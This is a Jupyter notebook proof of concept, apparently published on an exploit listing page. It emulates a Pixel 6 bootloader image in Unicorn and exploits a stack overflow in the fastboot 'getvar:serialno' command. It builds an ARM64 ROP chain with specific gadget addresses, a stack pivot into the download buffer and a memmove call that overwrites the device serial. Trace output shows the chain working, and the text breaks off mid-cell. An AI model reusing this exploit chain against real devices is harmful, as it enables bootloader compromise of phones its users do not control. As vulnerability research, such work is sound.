4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / run_abl_public_220205.ipynb IPYNB
{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 6,
   "id": "62ff0c2b-4b1a-4292-a554-3bc44790813c",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n",
      "/home/josh/.pyenv/shims/python\n",
      "Available kernels:\n",
      "  pyenv      /home/josh/.local/share/jupyter/kernels/pyenv\n",
      "  python2    /home/josh/.local/share/jupyter/kernels/python2\n",
      "  python3    /home/josh/.local/share/jupyter/kernels/python3\n",
      "  venv       /home/josh/.local/share/jupyter/kernels/venv\n"
     ]
    }
   ],
   "source": [
    "# Derived from https://github.com/eshard/pixel6-boot/blob/main/run_abl_public.ipynb\n",
    "# python -m ipykernel install --user --name=pyenv --display-name \"Python 3 (pyenv)\"\n",
    "# switch to Python 3 (pyenv) kernel\n",
    "!echo $VIRTUAL_ENV\n",
    "!which python\n",
    "!jupyter kernelspec list\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "id": "df4383b0-33e9-4674-a166-6b8236fcec21",
   "metadata": {},
   "outputs": [],
   "source": [
    "#%load_ext autoreload\n",
    "#%autoreload 2\n",
    "\n",
    "from unicorn import *\n",
    "from unicorn.arm64_const import *\n",
    "import unicorn.arm_const\n",
    "import struct\n",
    "import capstone\n",
    "import keystone\n",
    "import pwn"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "id": "09c964f7-cc54-4ff1-af79-aa2abc3e8cac",
   "metadata": {},
   "outputs": [],
   "source": [
    "\n",
    "disassembler = capstone.Cs(capstone.CS_ARCH_ARM64,capstone.CS_MODE_ARM)\n",
    "def disas(code, addr):\n",
    "    insn = None\n",
    "    for insn in disassembler.disasm(code, addr):\n",
    "        print(\"0x%x:\\t%s\\t%s\" % (insn.address, insn.mnemonic, insn.op_str))\n",
    "    return insn\n",
    "    \n",
    "def gen_shellcode(data,address):\n",
    "    ks = keystone.Ks(keystone.KS_ARCH_ARM64,keystone.KS_MODE_LITTLE_ENDIAN)\n",
    "    ret=ks.asm(data,address)\n",
    "    return bytes(ret[0])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "id": "a547ffad-e3ef-4fb9-b870-128963a8cc09",
   "metadata": {},
   "outputs": [],
   "source": [
    "\n",
    "with open(\"abl_220205\",\"rb\") as f:\n",
    "    data=f.read()\n",
    "\n",
    "# function addresses abl 22\n",
    "fastboot_read = 0xFFFF0000F8871E18\n",
    "download_buffer = 0xffff000090700000 \n",
    "__debug_stdio_write = 0xFFFF0000F88A7898\n",
    "fastboot_write = 0xFFFF0000F8871E94\n",
    "pixel_loader_entry_run = 0xFFFF0000F8813AD4\n",
    "stop_fastboot = 0xFFFF0000F8ACBD20\n",
    "fastboot_read_ret = 0xFFFF0000F8871E4C\n",
    "serial_addr = 0xFFFF0000F8AC0058\n",
    "\n",
    "# abl 22 - these functions create threads and have side effects so we effectively nop them out\n",
    "start_app = 0xFFFF0000F88105A0 # abl 22\n",
    "fastboot_menu_start = 0xFFFF0000F887BE94 # abl22\n",
    "\n",
    "ABL_LOAD_ADDRESS = 0xFFFF0000F8800000\n",
    "MEMORY_START = 0xFFFF0000F8000000\n",
    "MEMORY_SIZE = 200*1024*1024\n",
    "STACK_START = MEMORY_START + MEMORY_SIZE - 0x1000\n",
    "last_address = 0\n",
    "\n",
    "def print_stack(uc,num=10):\n",
    "    sp = uc.reg_read(UC_ARM64_REG_SP)\n",
    "    #sp -= (8*2)\n",
    "    print(f\"## STACK DUMP ##\\nSP: {sp:x}\")\n",
    "    for i,s in enumerate(range(sp,sp+(num*8),8)):\n",
    "        if sp != 0:\n",
    "            v = struct.unpack(\"Q\",uc.mem_read(s,8))[0]\n",
    "            print(f\"@{s:x} {v:x} - #{i*8:x}\")\n",
    "    print(\" \")\n",
    "\n",
    "def print_regs(uc):\n",
    "    print(\" \")\n",
    "    print(f\"## REGISTERS ##\")\n",
    "    for reg in [\"X0\",\"X1\",\"X2\",\"X3\",\"X8\",\"X19\",\"X20\",\"X21\",\"X22\",\"X23\",\"X24\",\"X28\",\"X29\",\"X30\",\"SP\",\"PC\"]:\n",
    "        val = eval(f\"uc.reg_read(UC_ARM64_REG_{reg})\")\n",
    "        print(f\"{reg} - {val:8X}\\n\",end=\"\")\n",
    "    print(\"\")\n",
    "\n",
    "# callback for tracing basic blocks\n",
    "def hook_block(uc, address, size, user_data):\n",
    "    print(\">>> Tracing basic block at 0x%x, block size = 0x%x\" %(address, size))\n",
    "\n",
    "    \n",
    "# ABL220205\n",
    "#0xffff0000f8818e78: # DIRECT MATCH WITH ABL21\n",
    "#    ldp x29, x30, [sp], #0x10; \n",
    "#    ret;\n",
    "#\n",
    "#0xffff0000f8815a84: # DIRECT MATCH WITH ABL21\n",
    "#    mov sp, x29; \n",
    "#    ldp x20, x19, [sp, #0x30]; \n",
    "#    ldp x22, x21, [sp, #0x20]; \n",
    "#    ldp x24, x23, [sp, #0x10];\n",
    "#    ldp x29, x30, [sp], #0x40;\n",
    "#    ret; \n",
    "#\n",
    "#0xffff0000f880c924: # DIRECT MATCH WITH ABL21\n",
    "#    ldp x20, x19, [sp, #0x30]; \n",
    "#    ldp x22, x21, [sp, #0x20];\n",
    "#    ldp x24, x23, [sp, #0x10];\n",
    "#    ldp x29, x30, [sp], #0x40; \n",
    "#    ret;\n",
    "#\n",
    "#0xffff0000f8884684: # DIRECT MATCH WITH ABL21\n",
    "#    ldr x1, [x23, #0x10];\n",
    "#    mov x0, x21;\n",
    "#    mov x2, x20;\n",
    "#    blr x22; \n",
    "\n",
    "#0xFFFF0000F887E2D4 # DIRECT MATCH WITH ABL21\n",
    "#    ROM:FFFF0000F887E2D4                 BL              memmove ; Branch with Link\n",
    "#    ROM:FFFF0000F887E2D8                 MOV             W0, WZR ; Rd = Op2\n",
    "#    ROM:FFFF0000F887E2DC                 LDP             X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
    "#    ROM:FFFF0000F887E2E0                 RET                     ; Return from Subroutine\n",
    "    \n",
    "# callback for tracing instructions\n",
    "def hook_code(uc, address, size, user_data):\n",
    "    global commands\n",
    "    global last_address\n",
    "    rop_addresses = [\n",
    "        #0xFFFF0000F8871E4C, # ret instruction that triggers our overflow\n",
    "        0xffff0000f8815a84, # first rop gadget\n",
    "        0xffff0000f8815a84, # stack pivot gadget\n",
    "        0xffff0000f880c924, # stack pivot gadget (to control registers and call)\n",
    "        0xffff0000f8884684, # to set x0 etc\n",
    "        0xFFFF0000F887E2D4, # call memove\n",
    "    ]\n",
    "    \n",
    "    # trace our rop addresses \n",
    "    if(address in rop_addresses or address == last_address+4):\n",
    "        i = disas(uc.mem_read(address,size),address)\n",
    "        \n",
    "        if(i.mnemonic == \"ret\" or i.mnemonic[:2] == \"bl\"):\n",
    "            #print(\"at ret\")\n",
    "            print_regs(uc)\n",
    "            print_stack(uc)\n",
    "            \n",
    "            # did memmove work? Has serial been updated\n",
    "            serial = mu.mem_read(serial_addr, 16);  \n",
    "            serial = serial.decode(\"utf-8\")\n",
    "            print(f\"Checking serial: {serial}\\n\")        \n",
    "            #commands.append(b\"getvar aaa\")\n",
    "            \n",
    "            #uc.emu_stop()\n",
    "        last_address = address\n",
    "    #else:\n",
    "    #    i = disas(uc.mem_read(address,size),address)\n",
    "    \n",
    "def hook_intr(uc, intno, user_data):\n",
    "    print(\"\\n##### INTERRUPT\")\n",
    "    \n",
    "    # abl 22 - patch to skip smc\n",
    "    pc = uc.reg_read(UC_ARM64_REG_PC)\n",
    "    disas(uc.mem_read(pc,4),pc);\n",
    "    \n",
    "    print(f\"^ Got interrupt {intno:02x} {pc:02x}. Skipping instruction.\\n\");\n",
    "    uc.reg_write(UC_ARM64_REG_PC,pc+4)\n",
    "    #uc.emu_stop()\n",
    "    return True\n",
    "\n",
    "def hook_mem_invalid(uc,uc_mem_type,addr,size,value,user_data):\n",
    "    print(\"\\n############################################\")\n",
    "    pc = uc.reg_read(UC_ARM64_REG_PC)\n",
    "    print(f\"INVALID MEMORY @{pc:08X} {addr:08x} {size:08x} {value:08x}\")\n",
    "    print_regs(uc)\n",
    "    print_stack(uc)\n",
    "    print(\"############################################\\n\")\n",
    "    return False\n",
    "\n",
    "#Auto allocate pages of memory of size 10Mega on invalid memory access\n",
    "PAGE_SIZE=10*1024*1024\n",
    "def hook_mem_invalid_auto(uc,uc_mem_type,addr,size,value,user_data):\n",
    "    pc = uc.reg_read(UC_ARM64_REG_PC)\n",
    "    start = addr & ~(PAGE_SIZE-1)\n",
    "    print(f\"~~~~~~~~~~~~~~                      mu.mem_map(0x{start:08x}, PAGE_SIZE)\")\n",
    "    mu.mem_map(start,PAGE_SIZE)\n",
    "    return True\n",
    "    \n",
    "def hook_fastboot_read(uc,address,size,user_data):\n",
    "    #print(\"In fb_read\")\n",
    "    dest = mu.reg_read(UC_ARM64_REG_X0)\n",
    "    size = mu.reg_read(UC_ARM64_REG_X1)\n",
    "    num_read = mu.reg_read(UC_ARM64_REG_X2)\n",
    "\n",
    "    global commands\n",
    "    if len(commands):\n",
    "        command = commands.pop(0)\n",
    "    else:\n",
    "        command = None\n",
    "        \n",
    "    if command == b\"outofloop\" or not command:\n",
    "        print(\">>> Exiting\\n\")\n",
    "        #Once we are done, set stop_fastboot to 0 and log instructions\n",
    "        uc.mem_write(stop_fastboot,struct.pack(\"Q\",1))\n",
    "        mu.reg_write(UC_ARM64_REG_X0,0xFFFFFFF0)\n",
    "        uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n",
    "    else:\n",
    "        print(\">>> fastboot_read:\") # ,hex(dest),hex(size),hex(num_read))\n",
    "        #print_stack(uc)\n",
    "        mu.mem_write(num_read,struct.pack(\"Q\",len(command)))\n",
    "        mu.mem_write(dest,command)\n",
    "        mu.reg_write(UC_ARM64_REG_X0,0)\n",
    "        uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n",
    "    \n",
    "def hook_fprintf_output(uc,address,size,user_data):\n",
    "    data = mu.reg_read(UC_ARM64_REG_X0)\n",
    "    s = mu.mem_read(data,50)\n",
    "    size = mu.reg_read(UC_ARM64_REG_X1)\n",
    "    dunno = mu.reg_read(UC_ARM64_REG_X2)\n",
    "    d = mu.mem_read(dunno,50)\n",
    "    print(\">>> hook_fprintf_output\",hex(data),s,hex(size),hex(dunno),d)\n",
    "    \n",
    "def hook_stdio_write(uc,address,size,user_data):\n",
    "    a = mu.reg_read(UC_ARM64_REG_X0)\n",
    "    b = mu.reg_read(UC_ARM64_REG_X1)\n",
    "    c = mu.reg_read(UC_ARM64_REG_X2)\n",
    "    b = mu.mem_read(b,c)\n",
    "    try:\n",
    "        b=b.decode(\"utf-8\")\n",
    "    except Exception as e:\n",
    "        b=\"\"\n",
    "    print(b,end=\"\")\n",
    "    \n",
    "def hook_fastboot_write(uc,address,size,user_data):\n",
    "    a = mu.reg_read(UC_ARM64_REG_X0)\n",
    "    b = mu.reg_read(UC_ARM64_REG_X1)\n",
    "    \n",
    "    try:\n",
    "        s = mu.mem_read(a,b).decode(\"utf-8\")\n",
    "    except Exception as e:\n",
    "        s=\"\"\n",
    "    print(\"<<<\",s)\n",
    "\n",
    "# abl 22    \n",
    "def hook_start_app(uc,address,size,user_data):\n",
    "    print(\"\\nstart_app hook:\")\n",
    "    pc = uc.reg_read(UC_ARM64_REG_PC)\n",
    "    disas(uc.mem_read(pc,4),pc);\n",
    "    #print(\"\\n\")\n",
    "\n",
    "# abl 22    \n",
    "def hook_fastboot_menu_start(uc,address,size,user_data):\n",
    "    print(\"\\nfastboot_menu_start hook:\")\n",
    "    pc = uc.reg_read(UC_ARM64_REG_PC)\n",
    "    disas(uc.mem_read(pc,4),pc);\n",
    "    print(\"\\n\")\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "id": "339c168c-db77-40d0-b182-e3a064cb96dc",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "partition misc not found\n",
      "failed to read misc(vendor) partition -2\n",
      "[   0.000000] [E] [PXL] could not get charger state -27\n",
      "[   0.000000] [I] [PXL] boot voltage threshold=3400mV\n",
      "\n",
      "##### INTERRUPT\n",
      "0xffff0000f880d3e0:\tmov\tx20, x0\n",
      "^ Got interrupt 0d ffff0000f880d3e0. Skipping instruction.\n",
      "\n",
      "\n",
      "start_app hook:\n",
      "0xffff0000f88105a0:\tret\t\n",
      "\n",
      "fastboot_menu_start hook:\n",
      "0xffff0000f887be94:\tret\t\n",
      "\n",
      "\n",
      ">>> fastboot_read:\n",
      "[   0.000000] [I] [FB] Accept cmd:flashing unlock\n",
      "<<< INFOdevice already unlocked\n",
      "<<< OKAY\n",
      ">>> fastboot_read:\n",
      "[   0.000000] [I] [FB] Accept cmd:oem dmesg\n",
      "<<< OKAY\n",
      ">>> fastboot_read:\n",
      "[   0.000000] [I] [FB] Accept cmd:getvar:serialno\n",
      "<<< OKAYDAAAAABBBBAAAAAA\n",
      ">>> fastboot_read:\n",
      "[   0.000000] [I] [FB] Accept cmd:\n",
      "<<< FAILvariable (serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
      ">>> Exiting\n",
      "\n",
      "0xffff0000f8815a84:\tmov\tsp, x29\n",
      "0xffff0000f8815a88:\tldp\tx20, x19, [sp, #0x30]\n",
      "0xffff0000f8815a8c:\tldp\tx22, x21, [sp, #0x20]\n",
      "0xffff0000f8815a90:\tldp\tx24, x23, [sp, #0x10]\n",
      "0xffff0000f8815a94:\tldp\tx29, x30, [sp], #0x40\n",
      "0xffff0000f8815a98:\tret\t\n",
      " \n",
      "## REGISTERS ##\n",
      "X0 -        0\n",
      "X1 -       40\n",
      "X2 - FFFF0001047FEEF0\n",
      "X3 -        0\n",
      "X8 -        0\n",
      "X19 - DEADBEEFDEADBE19\n",
      "X20 - DEADBEEFDEADBA20\n",
      "X21 - 4343434343434343\n",
      "X22 - 4343434343434343\n",
      "X23 - 4343434343434343\n",
      "X24 - 4343434343434343\n",
      "X28 -        0\n",
      "X29 - 4444444444444444\n",
      "X30 - FFFF0000F880C924\n",
      "SP - FFFF000090700040\n",
      "PC - FFFF0000F8815A98\n",
      "\n",
      "## STACK DUMP ##\n",
      "SP: ffff000090700040\n",
      "@ffff000090700040 deadbeefdeadbe29 - #0\n",
      "@ffff000090700048 ffff0000f8884684 - #8\n",
      "@ffff000090700050 deadbeefdeadbe24 - #10\n",
      "@ffff000090700058 ffff000090700070 - #18\n",
      "@ffff000090700060 ffff0000f887e2d4 - #20\n",
      "@ffff000090700068 ffff0000f8ac0058 - #28\n",
      "@ffff000090700070 10 - #30\n",
      "@ffff000090700078 deadbeefdeadb119 - #38\n",
      "@ffff000090700080 ffff000090700090 - #40\n",
      "@ffff000090700088 ffff0000f886fb88 - #48\n",
      " \n",
      "Checking serial: DAAAAABBBBAAAAAA\n",
      "\n",
      "0xffff0000f880c924:\tldp\tx20, x19, [sp, #0x30]\n",
      "0xffff0000f880c928:\tldp\tx22, x21, [sp, #0x20]\n",
      "0xffff0000f880c92c:\tldp\tx24, x23, [sp, #0x10]\n",
      "0xffff0000f880c930:\tldp\tx29, x30, [sp], #0x40\n",
      "0xffff0000f880c934:\tret\t\n",
      " \n",
      "## REGISTERS ##\n",
      "X0 -        0\n",
      "X1 -       40\n",
      "X2 - FFFF0001047FEEF0\n",
      "X3 -        0\n",
      "X8 -        0\n",
      "X19 - DEADBEEFDEADB119\n",
      "X20 -       10\n",
      "X21 - FFFF0000F8AC0058\n",
      "X22 - FFFF0000F887E2D4\n",
      "X23 - FFFF000090700070\n",
      "X24 - DEADBEEFDEADBE24\n",
      "X28 -        0\n",
      "X29 - DEADBEEFDEADBE29\n",
      "X30 - FFFF0000F8884684\n",
      "SP - FFFF000090700080\n",
      "PC - FFFF0000F880C934\n",
      "\n",
      "## STACK DUMP ##\n",
      "SP: ffff000090700080\n",
      "@ffff000090700080 ffff000090700090 - #0\n",
      "@ffff000090700088 ffff0000f886fb88 - #8\n",
      "@ffff000090700090 5245535f4c495645 - #10\n",
      "@ffff000090700098 504f525f4c4149 - #18\n",
      "@ffff0000907000a0 0 - #20\n",
      "@ffff0000907000a8 0 - #28\n",
      "@ffff0000907000b0 0 - #30\n",
      "@ffff0000907000b8 0 - #38\n",
      "@ffff0000907000c0 0 - #40\n",
      "@ffff0000907000c8 0 - #48\n",
      " \n",
      "Checking serial: DAAAAABBBBAAAAAA\n",
      "\n",
      "0xffff0000f8884684:\tldr\tx1, [x23, #0x10]\n",
      "0xffff0000f8884688:\tmov\tx0, x21\n",
      "0xffff0000f888468c:\tmov\tx2, x20\n",
      "0xffff0000f8884690:\tblr\tx22\n",
      " \n",
      "## REGISTERS ##\n",
      "X0 - FFFF0000F8AC0058\n",
      "X1 - FFFF000090700090\n",
      "X2 -       10\n",
      "X3 -        0\n",
      "X8 -        0\n",
      "X19 - DEADBEEFDEADB119\n",
      "X20 -       10\n",
      "X21 - FFFF0000F8AC0058\n",
      "X22 - FFFF0000F887E2D4\n",
      "X23 - FFFF000090700070\n",
      "X24 - DEADBEEFDEADBE24\n",
      "X28 -        0\n",
      "X29 - DEADBEEFDEADBE29\n",
      "X30 - FFFF0000F8884684\n",
      "SP - FFFF000090700080\n",
      "PC - FFFF0000F8884690\n",
      "\n",
      "## STACK DUMP ##\n",
      "SP: ffff000090700080\n",
      "@ffff000090700080 ffff000090700090 - #0\n",
      "@ffff000090700088 ffff0000f886fb88 - #8\n",
      "@ffff000090700090 5245535f4c495645 - #10\n",
      "@ffff000090700098 504f525f4c4149 - #18\n",
      "@ffff0000907000a0 0 - #20\n",
      "@ffff0000907000a8 0 - #28\n",
      "@ffff0000907000b0 0 - #30\n",
      "@ffff0000907000b8 0 - #38\n",
      "@ffff0000907000c0 0 - #40\n",
      "@ffff0000907000c8 0 - #48\n",
      " \n",
      "Checking serial: DAAAAABBBBAAAAAA\n",
      "\n",
      "0xffff0000f887e2d4:\tbl\t#0xffff0000f8876b58\n",
      " \n",
      "## REGISTERS ##\n",
      "X0 - FFFF0000F8AC0058\n",
      "X1 - FFFF000090700090\n",
      "X2 -       10\n",
      "X3 -        0\n",
      "X8 -        0\n",
      "X19 - DEADBEEFDEADB119\n",
      "X20 -       10\n",
      "X21 - FFFF0000F8AC0058\n",
      "X22 - FFFF0000F887E2D4\n",
      "X23 - FFFF000090700070\n",
      "X24 - DEADBEEFDEADBE24\n",
      "X28 -        0\n",
      "X29 - DEADBEEFDEADBE29\n",
      "X30 - FFFF0000F8884694\n",
      "SP - FFFF000090700080\n",
      "PC - FFFF0000F887E2D4\n",
      "\n",
      "## STACK DUMP ##\n",
      "SP: ffff000090700080\n",
      "@ffff000090700080 ffff000090700090 - #0\n",
      "@ffff000090700088 ffff0000f886fb88 - #8\n",
      "@ffff000090700090 5245535f4c495645 - #10\n",
      "@ffff000090700098 504f525f4c4149 - #18\n",
      "@ffff0000907000a0 0 - #20\n",
      "@ffff0000907000a8 0 - #28\n",
      "@ffff0000907000b0 0 - #30\n",
      "@ffff0000907000b8 0 - #38\n",
      "@ffff0000907000c0 0 - #40\n",
      "@ffff0000907000c8 0 - #48\n",
      " \n",
      "Checking serial: DAAAAABBBBAAAAAA\n",
      "\n",
      "0xffff0000f887e2d8:\tmov\tw0, wzr\n",
      "0xffff0000f887e2dc:\tldp\tx29, x30, [sp], #0x10\n",
      "0xffff0000f887e2e0:\tret\t\n",
      " \n",
      "## REGISTERS ##\n",
      "X0 -        0\n",
      "X1 - FFFF000090700090\n",
      "X2 -       10\n",
      "X3 -        0\n",
      "X8 - FFFF0000F8AC0058\n",
      "X19 - DEADBEEFDEADB119\n",
      "X20 -       10\n",
      "X21 - FFFF0000F8AC0058\n",
      "X22 - FFFF0000F887E2D4\n",
      "X23 - FFFF000090700070\n",
      "X24 - DEADBEEFDEADBE24\n",
      "X28 -        0\n",
      "X29 - FFFF000090700090\n",
      "X30 - FFFF0000F886FB88\n",
      "SP - FFFF000090700090\n",
      "PC - FFFF0000F887E2E0\n",
      "\n",
      "## STACK DUMP ##\n",
      "SP: ffff000090700090\n",
      "@ffff000090700090 5245535f4c495645 - #0\n",
      "@ffff000090700098 504f525f4c4149 - #8\n",
      "@ffff0000907000a0 0 - #10\n",
      "@ffff0000907000a8 0 - #18\n",
      "@ffff0000907000b0 0 - #20\n",
      "@ffff0000907000b8 0 - #28\n",
      "@ffff0000907000c0 0 - #30\n",
      "@ffff0000907000c8 0 - #38\n",
      "@ffff0000907000d0 0 - #40\n",
      "@ffff0000907000d8 0 - #48\n",
      " \n",
      "Checking serial: EVIL_SERIAL_ROP\u0000\n",
      "\n",
      ">>> PC = 0x0\n"
     ]
    }
   ],
   "source": [
    "\n",
    "# ABL22\n",
    "commands=[\n",
    "          b\"flashing unlock\",\n",
    "          b\"oem dmesg\",\n",
    "          b\"getvar:serialno\",\n",
    "          b\"getvar:serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" +\n",
    "            # Initial return address overwrite\n",
    "            # Set X29, X30 (next gadget) to stack-based values that we control\n",
    "            #ROM:FFFF0000F880A988                 LDP             X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
    "            #ROM:FFFF0000F880A98C                 RET                     ; Return from Subroutine\n",
    "            pwn.p64(0xffff0000f8818e78) +\n",
    "            #pwn.p64(ABL_LOAD_ADDRESS) +\n",
    "    \n",
    "            # pivot SP via X29\n",
    "            #ROM:FFFF0000F881593C                 MOV             SP, X29 ; Rd = Op2\n",
    "            #ROM:FFFF0000F8815940                 LDP             X20, X19, [SP,#var_s30] ; Load Pair\n",
    "            #ROM:FFFF0000F8815944                 LDP             X22, X21, [SP,#var_s20] ; Load Pair\n",
    "            #ROM:FFFF0000F8815948                 LDP             X24, X23, [SP,#var_s10] ; Load Pair\n",
    "            #ROM:FFFF0000F881594C                 LDP             X29, X30, [SP+var_s0],#0x40 ; Load Pair\n",
    "            #ROM:FFFF0000F8815950                 RET                     ; Return from Subroutine\n",
    "            # padding data\n",
    "            pwn.p64(0xDEADBEEFDEADBEEF) +\n",
    "            pwn.p64(0xDEADBEEFDEADBEEF) +\n",
    "            pwn.p64(0xDEADBEEFDEADBEEF) +\n",
    "            pwn.p64(0xDEADBEEFDEADB11F) +\n",
    "            pwn.p64(0xDEADBEEFDEADBAEF) +\n",
    "            pwn.p64(0xDEADBEEFDEADBCCF) +\n",
    "            # pivot our stack to here\n",
    "            pwn.p64(download_buffer) +\n",
    "            # our next payload address (stack pivot)\n",
    "            pwn.p64(0xffff0000f8815a84),\n",
    "            \n",
    "            # ^ set registers (see download_buffer for remaining payload)\n",
    "            # 0xFFFF0000F880C82C: ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;\n",
    "            # 0xFFFF0000F8883B48: ldr x1, [x23, #0x10]; mov x0, x21; mov x2, x20; blr x22;\n",
    "    \n",
    "            #b\"getvar:serialno\",\n",
    "            #b\"flashing unlock\"\n",
    "        ]\n",
    "\n",
    "try:\n",
    "    # Initialize emulator in ARM mode\n",
    "    mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)\n",
    "\n",
    "    # map regions that we need\n",
    "    mu.mem_map(MEMORY_START, MEMORY_SIZE)\n",
    "    mu.mem_map(0xd8000000, PAGE_SIZE)\n",
    "    mu.mem_map(0xf8200000, PAGE_SIZE)\n",
    "    mu.mem_map(0xffffffff19200000, PAGE_SIZE)\n",
    "    mu.mem_map(0xfffffffff8200000, PAGE_SIZE)\n",
    "    mu.mem_map(0xffff000080000000, PAGE_SIZE)\n",
    "    mu.mem_map(0xffff000002000000, PAGE_SIZE)\n",
    "    mu.mem_map(0xffffffff10000000, PAGE_SIZE)\n",
    "    mu.mem_map(0xffffffff17400000, PAGE_SIZE) # abl 2022\n",
    "    mu.mem_map(0x00000000, PAGE_SIZE) # abl 2022\n",
    "    mu.mem_map(download_buffer,1024*1024*5) #download buffer\n",
    "    \n",
    "    # Init SIMD\n",
    "    SIMD_INIT=gen_shellcode(\"mov x1, #(0x3 << 20);msr cpacr_el1, x1;isb;STP Q1, Q2, [SP,#0x10]\",download_buffer)\n",
    "    mu.mem_write(download_buffer, SIMD_INIT)\n",
    "    mu.emu_start(download_buffer, 0, count=3)        \n",
    "    \n",
    "    # Our rop chain post pivoting of the stack\n",
    "    MEMMOVE_PAYLOAD = (\n",
    "        (b\"D\"*8) + \n",
    "        #ROM:FFFF0000F880C82C                 LDP             X20, X19, [SP,#0x40+var_10] ; Load Pair\n",
    "        #ROM:FFFF0000F880C830                 LDP             X22, X21, [SP,#0x40+var_20] ; Load Pair\n",
    "        #ROM:FFFF0000F880C834                 LDP             X24, X23, [SP,#0x40+var_30] ; Load Pair\n",
    "        #ROM:FFFF0000F880C838                 LDP             X29, X30, [SP+0x40+var_40],#0x40 ; Load Pair\n",
    "        #ROM:FFFF0000F880C83C                 RET            \n",
    "        pwn.p64(0xffff0000f880c924) # ^\n",
    "        \n",
    "        # registers set by the above rop chain\n",
    "        +(b\"C\"*32)+\n",
    "        pwn.p64(0xDEADBEEFDEADBA20)+ # N/A not used\n",
    "        pwn.p64(0xDEADBEEFDEADBE19)+ # x19\n",
    "        pwn.p64(0xDEADBEEFDEADBE29)+ # x29\n",
    "        pwn.p64(0xFFFF0000f8884684)+ # x30 (PC)\n",
    "        pwn.p64(0xDEADBEEFDEADBE24)+ # x24\n",
    "        pwn.p64(download_buffer+112)+ # x23 (BECOMES X1 (SRC) IN NEXT CHAIN; PTR!) \n",
    "        pwn.p64(0xFFFF0000F887E2D4)+ # x22 (BECOMES PC IN NEXT CHAIN!)\n",
    "        pwn.p64(serial_addr)+        # x21 (BECOMES X0 (DST) IN NEXT CHAIN; RAW)\n",
    "        pwn.p64(0x10)+               # x20 (BECOMES X2 (SIZE) IN NEXT CHAIN)\n",
    "        pwn.p64(0xDEADBEEFDEADB119)+ # X19\n",
    "        # The above is 128 bytes\n",
    "        # pointer to src string\n",
    "        pwn.p64(download_buffer+144) + \n",
    "        # our final return address post memmove\n",
    "        pwn.p64(0xFFFF0000F886FB88) + \n",
    "        # ^\n",
    "        #ROM:FFFF0000F8813EBC                 ADRL            X1, loc_FFFF0000F8814638 ; some_callback\n",
    "        #ROM:FFFF0000F8813EC4                 ADD             X0, SP, #0x50+exit_code ; exit_code\n",
    "        #ROM:FFFF0000F8813EC8                 BL              fastboot_run ; Branch with Link\n",
    "        # our new serial (or src data)\n",
    "        (b\"EVIL_SERIAL_ROP\") + (b\"\\x00\") \n",
    "        \n",
    "        # above register data processed by the below chains\n",
    "        #ROM:FFFF0000F8883B48                 LDR             X1, [X23,#0x10] ; Load from Memory\n",
    "        #ROM:FFFF0000F8883B4C                 MOV             X0, X21 ; Rd = Op2\n",
    "        #ROM:FFFF0000F8883B50                 MOV             X2, X20 ; Rd = Op2\n",
    "        #ROM:FFFF0000F8883B54                 BLR             X22     ; Branch and Link Register\n",
    "        \n",
    "        #ROM:FFFF0000F887D798                 BL              memmove ; Branch with Link\n",
    "        #ROM:FFFF0000F887D79C                 MOV             W0, WZR ; Rd = Op2\n",
    "        #ROM:FFFF0000F887D7A0                 LDP             X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
    "        #ROM:FFFF0000F887D7A4                 RET                     ; Return from Subroutine\n",
    "    )\n",
    "    \n",
    "    mu.mem_write(download_buffer, MEMMOVE_PAYLOAD)\n",
    "    \n",
    "    #with open(\"/tmp/download_buffer_abl220205\", \"wb\") as binary_file:\n",
    "    #   binary_file.write(MEMMOVE_PAYLOAD)\n",
    "    \n",
    "    #with open(\"/tmp/command_buffer_abl220205\", \"wb\") as binary_file:\n",
    "    #   binary_file.write(commands[0])\n",
    "    \n",
    "    # set a serialno (for the sake of emulation)\n",
    "    mu.mem_write(serial_addr, b\"\\x44\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x41\\x41\\x41\\x41\\x41\\x41\\x00\")    \n",
    "    \n",
    "    # write machine code to be emulated to memory\n",
    "    mu.mem_write(ABL_LOAD_ADDRESS, data)    \n",
    "\n",
    "    # tracing all basic blocks with customized callback\n",
    "    #mu.hook_add(UC_HOOK_BLOCK, hook_block)\n",
    "\n",
    "    # tracing all instruction with customized callback\n",
    "    mu.hook_add(UC_HOOK_CODE, hook_code) # code tracing\n",
    "    mu.hook_add(UC_HOOK_INTR, hook_intr) # interrupts\n",
    "    # auto-map invalid memory access where possible    \n",
    "    mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid_auto)\n",
    "    \n",
    "    mu.hook_add(UC_HOOK_CODE, hook_fastboot_read, begin=fastboot_read,end=fastboot_read)\n",
    "    mu.hook_add(UC_HOOK_CODE, hook_stdio_write, begin=__debug_stdio_write,end=__debug_stdio_write)\n",
    "    mu.hook_add(UC_HOOK_CODE, hook_fastboot_write, begin=fastboot_write,end=fastboot_write)\n",
    "    \n",
    "    # abl 22 (we need to nop these out essentially)\n",
    "    mu.hook_add(UC_HOOK_CODE, hook_start_app, begin=start_app,end=start_app) # abl 22\n",
    "    mu.hook_add(UC_HOOK_CODE, hook_fastboot_menu_start, begin=fastboot_menu_start,end=fastboot_menu_start)  # abl 22\n",
    "    \n",
    "    # abl 22 - make sure start_app() and GUI functions abort (threads etc)\n",
    "    RET_INST = gen_shellcode(\"ret\",download_buffer)\n",
    "    mu.mem_write(start_app, RET_INST)\n",
    "    mu.mem_write(fastboot_menu_start, RET_INST)\n",
    "    \n",
